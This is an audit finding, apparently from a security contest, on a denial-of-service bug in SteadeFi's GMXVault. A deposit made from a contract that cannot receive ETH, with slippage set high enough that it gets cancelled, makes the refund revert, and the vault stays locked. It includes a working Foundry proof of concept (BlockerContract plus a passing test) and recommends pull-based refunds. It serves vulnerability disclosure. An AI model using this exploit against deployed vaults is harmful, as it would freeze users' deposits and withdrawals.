Submitted by asimaranov, 0xhals, Peter, rvierdiiev, Giorgio, ElHaj, TheSchnilch, 0xSwahili, 0xCiphky, hash, 0xAsen, Rozzo, NeverGonnaGiveYulUp, FundsSafu, pontifex. Selected submission by: 0xhals.
Relevant GitHub Links
Summary
GMXVault
can be blocked by malicious actor if he made a depositNative
call with unpayable contract and the deposit then cancelled by the GMX exchange router (3rd party).Vulnerability Details
- Users can deposit native tokens in vaults that either of its token pair is a WNT (wrapped native token) by calling
GMXVault.depositNative
payable function with the required deposit parameters (such as token, amount, minimum share amount, slippage & execution fees), then this function will invokeGMXDeposit.deposit
with amsg.value
equals the amount that the user wants to deposit + execution fees.
- In
GMXDeposit.deposit
: various checks are made to ensure the sanity of the deposit parameters and the elligibility of the user to deposit, and to calculate the requiredtokenA
&tokenB
needed to deposit in theGMX
protocol, then the sent native tokens are deposited in the WNT contract and an equivalent amount of WNT is transferred to the vault.
- And before the call is made to the
GMXManager.addLiquidity
(where a call is going to be made to theGMX.exchangeRouter
contract) to add liquidity; the status of the vault is checked if it'sOpen
, if yes; then the status of the vault is set toDeposit
so that no more deposits or withdrawls can be made (the vault will be blocked until the operation succeeds).
- So if the operation succeeds in the
GMX
exchange router; the vault callback will invokepreocessDeposit
function to finish the process and update the vault status toOpen
.
- And if the operation of adding liquidity is cancelled by the GMX exchange router (3rd party); the vault callback will invoke
processDepositCancellation
function to rollback the process by repaying the lendingVaults debts and paying back the native tokens sent by the user, then update the vault status toOpen
so that the vault is open again for deposits and withdrawals.
- Usually the deposit (liquidity addition to GMX protocol) fails if the user sets a very high slippage parameter when making a deposit (
dp.slippage
).
How can this be exploited to block the vault?
Imagine the following scenario:
- If a malicious user deploys an unpayable contract (doesn't receive native tokens) and makes a call to the
GMXVault.depositNative
function with a very high slippage to ensure that the deposit will be cancelled by the GMX exchange router.
- So when the deposit is cancelled and the vault callback
processDepositCancellation
function is invoked by the router; it will revert as it will try to send back the native tokens to the user who tried to make the deposit (which is the unpayable contract in our case).
- And the status of the vault will be stuck in the
Deposit
state; so no more deposits or withdrawals can be made and the vault will be disabled.
- The same scenario will happen if the user got blocklisted later by the deposited token contract (tokenA or tokenB), but the propability of this happening is very low as the GMX exchange router will add liquidity in two transactions with a small time separation between them!
Impact
The vault will be blocked as it will be stuck in the
Deposit
state; so no more deposits or withdrawals can be made.Proof of Concept
Code Instances:
plain textfunction depositNative(GMXTypes.DepositParams memory dp) external payable nonReentrant { GMXDeposit.deposit(_store, dp, true); }
plain text_dc.user = payable(msg.sender);
plain text(bool success, ) = self.depositCache.user.call{value: address(this).balance}(""); require(success, "Transfer failed.");
Foundry PoC:
- A
BlockerContract.sol
is added to mimick the behaviour of an unpayable contract.
add the following contract to the
2023-10-SteadeFi/test/gmx/local/BlockerContract.sol
directory:plain text// SPDX-License-Identifier: MIT pragma solidity 0.8.21; import {GMXTypes} from "../../../contracts/strategy/gmx/GMXTypes.sol"; import {GMXVault} from "../../../contracts/strategy/gmx/GMXVault.sol"; contract BlockerContract { constructor() payable {} function callVault( address payable _vaultAddress, GMXTypes.DepositParams memory dp ) external { GMXVault targetVault = GMXVault(_vaultAddress); targetVault.depositNative{value: address(this).balance}(dp); } }
test_processDepositCancelWillBlockVault
test is added to to the2023-10-SteadeFi/test/gmx/local/GMXDepositTest.sol
directory; where the blockerContract is deployed with some native tokens to cover deposit amount + execution fees, then this contract calls thedepositNative
viaBlockerContract.callVault
, where the exchange router tries to cancel the deposit but it will not be able as the BlockerContract can't receive back deposited native tokens, and the vault will be blocked.
add this import statement and test to the
GMXDepositTest.sol
file :plain textimport {BlockerContract} from "./BlockerContract.sol";
plain textfunction test_processDepositCancelWillBlockVault() external { //1. deploy the blockerContract contract with a msg.value=deposit amount + execution fees: uint256 depositAmount = 1 ether; BlockerContract blockerContract = new BlockerContract{ value: depositAmount + EXECUTION_FEE }(); //check balance before deposit: uint256 blockerContractEthBalance = address(blockerContract).balance; assertEq(depositAmount + EXECUTION_FEE, blockerContractEthBalance); //2. preparing deposit params to call "depositNative" via the blockerContract: depositParams.token = address(WETH); depositParams.amt = depositAmount; depositParams.minSharesAmt = 0; depositParams.slippage = SLIPPAGE; depositParams.executionFee = EXECUTION_FEE; blockerContract.callVault(payable(address(vault)), depositParams); // vault status is "Deposit": assertEq(uint256(vault.store().status), 1); //3. the blockerContract tries to cancel the deposit, but it will not be able to do beacuse it's unpayable contract: vm.expectRevert(); mockExchangeRouter.cancelDeposit( address(WETH), address(USDC), address(vault), address(callback) ); // vault status will be stuck at "Deposit": assertEq(uint256(vault.store().status), 1); // check balance after cancelling the deposit, where it will be less than the original as no refund has been paid (the blockerContract is unpayable): assertLt(address(blockerContract).balance, blockerContractEthBalance); }
- Test result:
bash$ forge test --mt test_processDepositCancelWillBlockVault Running 1 test for test/gmx/local/GMXDepositTest.sol:GMXDepositTest [PASS] test_processDepositCancelWillBlockVault() (gas: 1419036) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.62ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual Review & Foundry.
Recommendations
Add a mechanism to enable the user from redeeming his cancelled deposits (pulling) instead of sending it back to him (pushing).